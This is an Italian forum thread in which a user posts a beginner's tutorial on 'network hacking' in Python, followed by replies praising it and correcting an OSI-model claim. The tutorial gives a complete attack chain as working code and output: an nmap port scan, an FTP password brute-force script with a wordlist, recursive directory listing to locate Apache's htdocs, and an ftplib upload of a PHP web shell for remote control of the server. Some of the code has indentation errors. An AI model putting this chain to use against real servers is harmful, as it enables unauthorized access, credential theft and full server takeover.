Guida Network hacking in Python, per principianti

Sam Artemis

Utente Bronze
15 Marzo 2017
66
2
26
46
Ultima modifica:
Salve a tutti cari lettori, in questa guida voglio portarvi con me nella conoscenza del network hacking applicato a Python, linguaggio molto in voga al giorno d'oggi, oggetto di interesse di molti principianti che si avvicinano al mondo della programmazione. La guida verrà aggiornata appena ho tempo di farlo, man mano pubblicherò i vari pezzi che la compongono.

Premessa: per comprendere a pieno questa guida è necessaria un conoscenza base della grammatica di Python e della sua sintassi.

Partiamo da un'introduzione generale sulla rete:
Un protocollo di rete può essere definito in base al modello ISO/OSI a 7 livelli.
Cosa significa?
In parole povere, ogni interfaccia di rete sarà composta da 7 livelli (o layers) che svolgono compiti differenti per un unico scopo finale, la comunicazione tra interfacce differenti. A tale scopo, i protocolli di rete sono stati concepiti per inviare e ricevere in modo sicuro dati in diverse forme.
Qui sorge la figura dell'hacker, una persona che può aggirare le sicurezze di un apparato di comunicazione, e accedere ai dati da esso gestiti.

Possiamo dividere le tecniche di hacking in 5 macro-argomenti, che man mano andremo a trattare nel dettaglio:

1)Footprinting: nel momento in cui il target è stato selezionato ci si approccia nel modo più semplice, ovvero cercando informazioni a cui chiunque può accedere, utilizzando DNS queries (di cui fanno parte anche semplici ricerche Google), pinging, port scanning, e altro ancora.

2)Sniffing: è una tecnologia che può essere usata per rubare pacchetti di informazioni da distributori di terze parti nella rete.

3)
Spoofing: è una tecnica che basata sull'intercettazione dei pacchetti durante la comunicazione, in particolare mascherando l'allegato utilizzando l'indirizzo del server.

4)
Session Hijacking: si tratta di intercettare e modificare informazioni durante una normale sessione di lavoro tra client e server. Il concetto si basa sul rubare i cookie utilizzati per autenticare un utente.

5)
Denial of Server (DoS): è una delle tecniche d'attacco più conosciute e utilizzate. Può essere utilizzato per verificare la sicurezza dei protocolli ICMP e HTTP.


Visto che l'Internet gestisce una quantità immane di dati, rilevare un attacco è spesso molto difficile. Quando un dispositivo di sicurezza rileva un pattern d'attacco, agisce per poterlo fermare e sono subito disponibili altre modalità d'attacco.


Analisi della vulnerabilità tramite Port Scanning

Python propone diversi moduli che possono essere utilizzati per attaccare una rete; i due tipici utilizzati sono "scapy" e "pcapy". Il primo è un tool con diversi scopi che dispone di varie funzioni come il packet sniffing e il port scanning. Tuttavia, sono stati sviluppati altri strumenti potenti come NMap, Wireshark e Metasploit che hanno bloccato lo sviluppo dei moduli interni a Python, che sono diventati difficili da installare in quanto è divenuto insidioso trovare la giusta versione per il proprio environment. Python ha infine supportato questi tool fornendo loro un'interfaccia.

Prima di tutto, diamo un’occhiata all’ambiente di hacking. La maggior parte delle informazioni contenute nelle guide alla sicurezza ha vietato l'apertura di porte FTP, in quanto spesso si caricano file utilizzando FTP sfruttando la sua velocità e la facile gestione.
Per il test, si presume che l'amministratore abbia aperto un'altra porta FTP in un ambiente che esegue un Apache Web Server.

L'hacking via Port Scanning procede nella maniera seguente.
Schermata 2020-06-01 alle 02.57.27.png


Installazione di NMap e Python nmap

Anzitutto, bisogna installare Python nmap e il modulo NMap. Per quanto riguarda NMap
è possibile accedere al sito web "http://nmap.org/download.html" e scaricare il file di installazione. Per Python nmap, accedere al sito "http://xael.org/norman/python/python-nmap" e scaricare il file zip. Estrarre il file di installazione, e per prima cosa, assicurarsi che la configurazione del sistema per il "Path" specifichi la directory dove Python è installato. Aprite il cmd e andate nella cartella dove avete scompattato il file. È possibile installare il programma se si esegue il comando "python setup.py install".

Procedura completa di hacking utilizzando il metodo di Port Scanning

Dopo l'installazione del programma, è possibile scoprire le porte aperte tramite il port scanning. Nmap fornisce informazioni sulle porte aperte e sui servizi che possono essere utilizzati insieme ad esso. Se la porta 21 è aperta per FTP, è possibile trovare la password eseguendo un hack di Password Cracking. Il protocollo FTP supporta un comando in grado di fornire informazioni sulle directory e sui trasferimenti di file. Un programma Python può quindi essere utilizzato per trovare le informazioni di directory utilizzate dal servizio web (Apache). Infine, caricare uno script che sia in grado di condurre un attacco Web Shell in quella directory e poi eseguire il file attraverso un browser.

Port Scanning

Prima di tutto, diamo un'occhiata al Port Scanning. I pacchetti possono essere inviati con vari protocolli dal PC dell'hacker per osservare la reazione del server. È possibile utilizzare vari protocolli, tra cui ICMP, TCP, UDP, SCTP, ecc. Di solito la tecnica di scansione TCP SYN viene utilizzata in NMap perché può facilmente evitare di essere rilevata dai dispositivi di sicurezza ed è anche veloce.
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Tcp_normal.svg.png

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Quando il PC hacker invia un pacchetto TCP SYN ad una specifica porta del server, il PC hacker riceve un pacchetto "SYN/ACK" se il servizio è in esecuzione su quella porta. Se la porta è chiusa, il PC hacker riceve un pacchetto "RST". Quando il PC hacker riceve un pacchetto "SYN/ACK", termina la connessione inviando un pacchetto "RST". Di conseguenza, la scansione TCP SYN può essere veloce e viene chiamata "Half-open scanning" o italianizzando "Scansione semiaperta".

101613_1123_PortScannin3.jpg


Controlliamo le porte dalla 1 alla 1024 utilizzando il metodo TCP SYNC SCAN. Un modulo socket fornito da python può essere usato per condurre il port scanning. Tuttavia, c'è un inconveniente nel fatto che questo richiede tempo perché ci vuole tempo per aspettare una porta che non risponde. È possibile testare rapidamente le porte con il modulo NMap. Diamo un'occhiata ad un semplice esempio:

Python:
import sys
import os
import socket
import nmap                                                             #(1)

nm = nmap.PortScanner()                                                 #(2)

nm.scan('server', '1-1024')                                             #(3)

for host in nm.all_hosts():                                             #(4)
    print('----------------------------------------------------')
    print('Host : {0} ({1})'.format(host, nm[host].hostname()))         #(5)
    print('State : {0}'.format(nm[host].state()))                         #(6)

    for proto in nm[host].all_protocols():                                 #(7)
        print('----------')
        print('Protocol : {0}'.format(proto))

        lport = list(nm[host][proto].keys())                             #(8)
        lport.sort()
        for port in lport:
            print('port : {0}\tstate : {1}'.format(port,
nm[host][proto][port]))                                             #(9)
print('----------------------------------------------------')

Come già detto, la ragione per cui si utilizza NMap indirettamente attraverso Python nmap è la sua estensibilità. Il port scanning utilizzando gli strumenti GUI di NMap è migliore in casi semplici, ma la programmazione è necessaria per i casi in cui i risultati del port scanning saranno ulteriormente utilizzati. Pertanto, è vantaggioso interagire con NMap attraverso un' API in Python. La procedura operativa è la seguente:

  1. Importazione del modulo nmap: L'importazione del modulo permette di utilizzare Python nmap.
  2. Creazione di un oggetto PortScanner: La creazione di un oggetto PortScanner supporta l'utilizzo di nmap in Python. A meno che il programma non sia installato sul PC, verrà generata un'eccezione PortScanner.
  3. Esecuzione di un port scan: L'esecuzione di un port scan richiede due o tre argomenti:
    1. host: specificare il tipo di informazioni dell'host, come 'scanme.nmap.org', '198.116.0-255.1-127', '216.163.128.20/20'.
    2. port: Specificare la porta da utilizzare per la scansione sotto forma di '22,53,110,143,143-4564'.
    3. argomento:
      Specificare l'opzione da utilizzare per eseguire NMap sotto forma di '-sU -sX -sC'.
  4. Ottenere l'elenco degli host: Restituire le informazioni dell'host specificato nell'argomento della funzione scan sotto forma di un tipo di dato lista.
  5. Stampare le informazioni dell'host: stampare l'IP dell'host e il suo nome.
  6. Stampare lo stato dell'host: Se l'host sta fornendo il servizio, l'output è "up".
  7. Stampa del protocollo scansionato dall'host: L'output di tutte le informazioni di protocollo che vengono scansionate dall'host è sotto forma di un tipo di dato lista.
  8. Ottenere informazioni sulla porta: Restituire le informazioni della porta che è stata aperta per ogni host e protocollo come oggetto di tipo set.
  9. Stampa delle informazioni sulla porta: Stampa i dettagli della porta.

    NMap fornisce informazioni dettagliate sulla porta aperta e sulle informazioni di servizio e sull'applicazione. Un hacker può ottenere le conoscenze di base per l'hacking di rete attraverso NMap.

    Di seguito, i risultati di un port scanning.
    Codice:
    ----------------------------------------------------
    Host : 169.254.27.229 (server)
    State : up
    ----------
    Protocol : addresses
    port : ipv4 state : 169.254.27.229
    port : mac state : 08:00:27:92:AF:7D
    ----------
    Protocol : tcp
    port : 21 state : {'product': u'Microsoft ftpd', 'state': u'open', 'version': '', 'name': u'ftp', 'conf': u'10', 'extrainfo': '', 'reason': u'syn-ack', 'cpe': u'cpe:/o:microsoft:windows'}
    port : 80 state : {'product': u'Apache httpd', 'state': u'open', 'version': '', 'name': u'http', 'conf': u'10', 'extrainfo': '', 'reason': u'syn- ack', 'cpe': u'cpe:/a:apache:http_server'}
    ----------
    Protocol : vendor
    port : 08:00:27:92:AF:7D state : Cadmus Computer Systems
    ----------------------------------------------------

    In generale, è illegale cercare di effettuare il port scanning. È quindi necessario configurare l'ambiente di test per imparare a utilizzare NMap. Ora abbiamo trovato le informazioni riguardo gli host aperti e le porte per le applicazioni corrispondenti. Tuttavia, FTP, che viene servito dalla porta 21 può essere utilizzato per tentare un attacco di Password Cracking per ottenere la password dell'amministratore.
Password Cracking
Le configurazioni di un tipico servizio FTP non controllano il numero di volte in cui è stato riscontrato un errore di password. Il file "wordlist.txt" fornito da sqlmap può essere utilizzato come dizionario per trovare la password attraverso ripetuti tentativi di login. Python fornisce un modulo "ftplib" che può essere utilizzato per il servizio FTP.

Per comodità, si presume che l'username sia già noto. Poiché la password potrebbe trovarsi verso la fine del file, può essere necessario molto tempo per trovarla. Quando il login FTP fallisce, viene restituito il messaggio "530 User cannot log in" e Python genera un'eccezione. Se il login ha successo, viene stampato un messaggio "220 User log in". Ora Python ha una sessione autenticata e può eseguire le seguenti azioni.
Codice:
from ftplib import FTP

wordlist = open(‘wordlist.txt’, ‘r’)                          #(1)
user_login = "server"

def getPassword(password):                              #(2)
    try:
    ftp = FTP("server")                                             #(3)
    ftp.login(user_login,password)                        #(4)
    print "user password:", password
    return True
except Exception:                                                   #(5)
    return False

passwords = wordlist.readlines()
for password in passwords:
    password = password.strip()
    print "test password:", password
    if(getPassword(password)):                            #(6)
        break
wordlist.close()

Python fornisce un semplice meccanismo per effettuare il login e stabilire un collegamento FTP. Internamente, il modulo "ftplib" fornisce una serie di funzioni che possono essere eseguite utilizzando i linguaggi Java e C. Gli utenti possono accedere facilmente all'FTP utilizzando semplici istruzioni di importazione. Un'elaborazione dettagliata dell'esempio è la seguente.

  1. Apertura del file: apre il file "wordlist.txt".
  2. Funzione di dichiarazione: Effettuare una connessione FTP con il server e dichiarare la funzione di login.
  3. Connessione FTP: Effettua una connessione FTP con il server. Utilizza IP e DNS come argomenti.
  4. Login: Prova il login con gli argomenti passati precedentemente. Se il login avviene con successo, il programma esegue la linea successiva. Se il login fallisce, si genera un eccezione.
  5. Eccezione: Nel caso di login anomalo, si verifica un eccezione, e l'esempio sopra ritorna un valore "false".
  6. Funzione di esecuzione: Esegue la funzione "getPassword". Il programma passa i dati da "wordlist.txt" come argomento. Se la funzione ritorna "true", il ciclo viene terminato.

Se il sistema non limita il numero di volte che un errore di password può essere verificato, il sistema è vulnerabile ad un attacco di Password Cracking. L'amministratore dovrebbe installare apparecchiature di sicurezza, come un firewall, IPS, o IDS. Pertanto, astenersi dall'utilizzare le tipiche impostazioni FTP e utilizzare un protocollo più sicuro, come Secure FTP.

Un tipico risultato di Password Cracking può essere il seguente:
Codice:
test password: !
test password: ! Keeper
test password: !!
test password: !!!
test password: !!!!!!
test password: !!!!!!!!!!!!!!!!!!!!
test password: !!!!!2
test password: !!!!lax7890
test password: !!!!very8989
test password: !!!111sssMMM
test password: !!!234what
test password: !!!666!!!
test password: !!!666666!!!
test password: !!!angst66
test password: !!!gerard!!!
test password: !!!sara
test password: server
user password: server

Directory Listing
È possibile visualizzare l'elenco delle directory utilizzando il protocollo FTP. Il modulo "ftplib" fornisce la funzione "nlist" che restituisce l'output del comando "dir" sotto forma di lista. L'applicazione può cercare il contenuto della directory desiderata semplicemente utilizzando la funzione "nlist". Il port scanning può essere usato per confermare che un server Apache sta operando sulla porta 80, e se non ci sono altre modifiche alle impostazioni, Apache memorizza l'applicazione web sotto la directory "htdocs".

In primo luogo, effettuare il login al server FTP utilizzando le credenziali rubate ed eseguire la funzione che ottiene l'elenco delle directory. Se non si riesce ad identificare la directory web, è possibile elencare nuovamente le sottodirectory. Ripetendo la procedura sopra descritta, è possibile acquisire le informazioni della directory web.
Vediamo queste procedure attraverso un esempio concreto:
Codice:
from ftplib import FTP

apacheDir = "htdocs"
serverName = "server"

serverID = "server"
serverPW = "server"

def getDirList(cftp, name):                         #(1)
    dirList = []
    if("." not in name):                             #(2)
        if(len(name) == 0):
            dirList = ftp.nlst()                     #(3)
        else:
            dirList = ftp.nlst(name)
    return dirList
 
def checkApache(dirName1, dirName2):                 #(4)
    if(dirName1.lower().find(apacheDir) >= 0):
        print dirName1
    if(dirName2.lower().find(apacheDir) >= 0):
        print dirName1 +"/"+ dirName2
     
ftp=FTP(serverName,serverID,serverPW)                 #(5)

dirList1 = getDirList(ftp, "")                         #(6)

for name1 in dirList1:                                 #(7)
    checkApache(name1,"")                             #(8)
    dirList2 = getDirList(ftp, name1)                 #(9)
    for name2 in dirList2:
        checkApache(name1, name2)
        dirList3 = getDirList(ftp, name1+"/"+name2)

Per effettuare un semplice test, il nome della directory contenente i servizi web è "htdocs" e la lista delle directory deve essere ricercata solo fino al terzo livello.

  1. Dichiarazione della funzione (Import List): Dichiarare una funzione per importare una lista di directory su un server.
  2. Rimozione dei file con estensione: In generale, un file ha l'estensione che segue il ".".
    Se una voce della lista ha un ".", verrà saltata durante la ricerca.
  3. Elencare la chiamata della funzione di importazione: La funzione "nlist" fornita dal modulo "ftplib" restituisce un elenco di directory sotto forma di tipo di dati lista.
  4. Dichiarazione della funzione (Listing Directory): Dichiarare la funzione che riceve la lista come argomento.
  5. FTP Login: Se si inseriscono argomenti nel costruttore della classe FTP, composti da dominio, username e password, si crea automaticamente una connessione FTP e un login.
  6. Dichiarazione della funzione (Import List): Chiamare la funzione che importa la directory di primo livello sul server sotto forma di lista.
  7. Loop: Esegue un loop prendendo i dati dalla lista.
  8. Chiamata di funzione (Cerca la directory del servizio web): Chiamare una funzione per verificare se corrisponde alla directory web e vedere il risultato.
  9. Importazione della lista di secondo livello: Chiamare la funzione che importa la lista delle directory di secondo livello, e chiamare la funzione che importa la directory di terzo livello all'interno del ciclo.

Python supporta varie funzioni che possono restituire il risultato sotto forma di un tipo di dato lista. Se si impara a confrontare, cercare e creare la lista, è possibile sviluppare un programma di hacking Python in un breve lasso di tempo. Se il nome della directory del servizio web cambia, si può controllare trovando i programmi rappresentativi che vengono utilizzati in Apache. Si può semplicemente accedere a una directory del servizip web cercando programmi come "login.php", "index.php".

Codice:
>>>
APM_Setup/htdocs
>>>

FTP Web Shell Attack
Abbiamo trovato il login per FTP e le informazioni della directory web. Ora facciamo il login utilizzando FTP e caricando il file Web Shell. È molto difficile caricare un file in un attacco Web Shell usando un servizio web a causa del fatto che il server web limita il formato e le estensioni dei file che vengono caricati. Tuttavia, FTP può caricare direttamente un file in diversi formati. La ricerca di file Web Shell robusti su Internet è molto semplice. Utilizziamo Google per scaricare il Web Shell file da qui. Se il link non funziona, potete facilmente trovarne un altro con Google.

Il modulo "ftplib" fornisce funzioni per il trasferimento di file e per fare
modifiche alle directory. Poche righe di codice possono essere utilizzate per implementare semplicemente questa logica. Una volta caricato il file della Web Shell, l'hacker può controllare il server da remoto da qualsiasi PC collegato a Internet.

Codice:
from ftplib import FTP

apacheDir = "htdocs"
serverName = "server"
serverID = "server"
serverPW = "server"

ftp=FTP(serverName,serverID,serverPW)             #(1)

ftp.cwd("APM_Setup/htdocs")                        #(2)
fp = open("webshell.php","rb")                     #(3)
ftp.storbinary("STOR webshell.php",fp)             #(4)

fp.close()
ftp.quit()

Il trasferimento di un file può essere completato in meno di 10 righe di codice. Python può essere utilizzato per creare un programma di hacking in meno tempo rispetto a quando si utilizza il linguaggio JAVA o il linguaggio C. L'operazione dettagliata del trasferimento dei file è la seguente.

  1. FTP Login: L'informazione ottenuta dall'hacking può essere utilizzata per effettuare il login via FTP.
  2. Cambio Directory: Ci si sposta alla directory nella quale è installato il Web service.
  3. Aperture del file: Apre il file .php dove è costruita la funzione Web Shell
  4. Trasferimento file: Carica il file Web Shell nella directory dove è installato il web service.

Una volta completato il trasferimento dei file, aprire il browser ed eseguire l'attacco Web Shell. Basta digitare "http: //server/webshell.php" nella barra degli indirizzi e potrete vedere la schermata allegata. È possibile modificare la directory, visualizzare la lista, cancellare ed eseguire il file. È anche possibile caricare i file direttamente dallo schermo e si possono provare diversi attacchi.

Di seguito i risultati dell' FTP Web Shell:

Schermata 2020-06-05 alle 00.58.16.png


Riassumiamo il processo per le tecniche di hacking che sono state testate. Il port scanning può essere utilizzato per scoprire le porte che vengono utilizzate, quindi trovare il server che ha aperto un servizio FTP e rubare la password utilizzando la tecnica del Password Cracking. Identificare la posizione del web service esplorando il Directory Listing. Caricare un file Web Shell per ottenere il controllo del server.

Fine.
 
Ogni protocollo di rete è definito in base al modello ISO/OSI a 7 livelli.
Not true. Esistono altri modelli oltre quello OSI, tra cui TCP/IP (è differente dal primo) e IEEE.

La tua guida si impernia solo su queste definizioni, che a loro volta sono inesatte, quindi è pressappoco da sistemare e da dettagliare.
 
Not true. Esistono altri modelli oltre quello OSI, tra cui TCP/IP (è differente dal primo) e IEEE.

La tua guida si impernia solo su queste definizioni, che a loro volta sono inesatte, quindi è pressappoco da sistemare e da dettagliare.
Verissimo, ovviamente intendevo "può essere definito" ma ho sbagliato a esprimere il concetto. Grazie mille per avermelo fatto notare!
 
Salve a tutti cari lettori, in questa guida voglio portarvi con me nella conoscenza del network hacking applicato a Python, linguaggio molto in voga al giorno d'oggi, oggetto di interesse di molti principianti che si avvicinano al mondo della programmazione. La guida verrà aggiornata appena ho tempo di farlo, man mano pubblicherò i vari pezzi che la compongono.

Premessa: per comprende a pieno questa guida è necessaria un conoscenza base della grammatica di Python e della sua sintassi.

Partiamo da un'introduzione generale sulla rete:
Un protocollo di rete può essere definito in base al modello ISO/OSI a 7 livelli.
Cosa significa?
In parole povere, ogni interfaccia di rete sarà composta da 7 livelli (o layers) che svolgono compiti differenti per un unico scopo finale, la comunicazione tra interfacce differenti. A tale scopo, i protocolli di rete sono stati concepiti per inviare e ricevere in modo sicuro dati in diverse forme.
Qui sorge la figura dell'hacker, una persona che può aggirare le sicurezze di un apparato di comunicazione, e accedere ai dati da esso gestiti.

Possiamo dividere le tecniche di hacking in 5 macro-argomenti, che man mano andremo a trattare nel dettaglio:

1)Footprinting: nel momento in cui il target è stato selezionato ci si approccia nel modo più semplice, ovvero cercando informazioni a cui chiunque può accedere, utilizzando DNS queries (di cui fanno parte anche semplici ricerche Google), pinging, port scanning, e altro ancora.

2)Sniffing: è una tecnologia che può essere usata per rubare pacchetti di informazioni da distributori di terze parti nella rete.

3)
Spoofing: è una tecnica che basata sull'intercettazione dei pacchetti durante la comunicazione, in particolare mascherando l'allegato utilizzando l'indirizzo del server.

4)
Session Hijacking: si tratta di intercettare e modificare informazioni durante una normale sessione di lavoro tra client e server. Il concetto si basa sul rubare i cookie utilizzati per autenticare un utente.

5)
Denial of Server (DoS): è una delle tecniche d'attacco più conosciute e utilizzate. Può essere utilizzato per verificare la sicurezza dei protocolli ICMP e HTTP.


Visto che l'Internet gestisce una quantità immane di dati, rilevare un attacco è spesso molto difficile. Quando un dispositivo di sicurezza rileva un pattern d'attacco, agisce per poterlo fermare e sono subito disponibili altre modalità d'attacco.


Il prossimo modulo che tratterò sarà l'analisi della vulnerabilità utilizzando il metodo di Port Scanning. Stay tuned!

porta altri contenuti , grazie , mi piacciono molto ;)
 
Ultima modifica:
Aggiunto un piccolo blocco, domani arriva una bella parte!
Messaggio unito automaticamente:

Aggiunto il blocco riguardo NMap con il primo codice, a presto ;)
 
perccato che hai solo il mio like
ne meriteresti di più
Tranquillo ahahah bisogna anche tenere conto che sono argomenti estremamente di nicchia perchè pieni di teoria. A me personalmente prudevano le mani dall'inizio della guida perchè appunto ancora molto teorica, oggi finalmente abbiamo toccato il primo codice e ora diventerà fighissimo. :myeah:

bravo amico mio , porti contenuti interessanti
Grazie mille davvero, sono contento che tu stia apprezzando e chissà forse qualcun altro che magari non sta scrivendo nulla!
Mi raccomando analizza il codice che è banale ma vedremo come diventerà importante ;)
 
  • Mi piace
Reazioni: Ducknaro
Ultima modifica:
Aggiunto il modulo riguardante il password cracking! Prossimo argomento: directory listing, stay tuned ;)
Messaggio unito automaticamente:

Aggiunto il modulo che tratta il Directory Listing. Ci becchiamo domani con l'ultimo modulo dell' FTP Web Shell Attack. ;)